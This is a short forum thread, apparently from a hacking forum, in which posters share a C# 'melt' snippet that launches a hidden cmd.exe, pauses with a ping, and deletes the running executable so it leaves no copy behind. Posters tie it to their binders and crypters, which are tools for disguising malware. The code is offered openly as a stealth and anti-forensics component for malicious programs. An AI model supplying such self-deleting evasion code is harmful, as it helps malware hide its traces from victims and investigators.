Thread: [No drops melt file code](#)

ubbelol - June 1, 2011, 3:26 pm

Well I just saw the old thread by "Mr Smith" about melting file without dropping anything but he just moved a file to another directory that's more hidden therefor not removing it.

And I see a lot of people spitting out a batch file to delete the original file which is not really perfectly stealthy.

This method is not either but atleast it doesn't create a new file :x (I used this a long time ago when I made a binder ^^)

I'm aware of it being a pretty stupid solution but I thought i'd share

```
Code System.Diagnostics.ProcessStartInfo T = new
System.Diagnostics.ProcessStartInfo("cmd.exe");
T.RedirectStandardInput = true; T.UseShellExecute = false; T.CreateNoWindow = true;
System.Diagnostics.Process.Start(T).StandardInput.WriteLine("ping 127.0.0.1 -n 10 & del /Q " +
@"*****" + System.Reflection.Assembly.GetExecutingAssembly().Location + @"*****");
Environment.Exit(0);
```

i made this on my crypter .... u look at my source ?
[if someone leek it fine at least he can tell me]
```

Ive done this in vb6 for a long time (and many ppl before me as well)
Im sure you know machine code to have decompiled ours as well to learn it right?
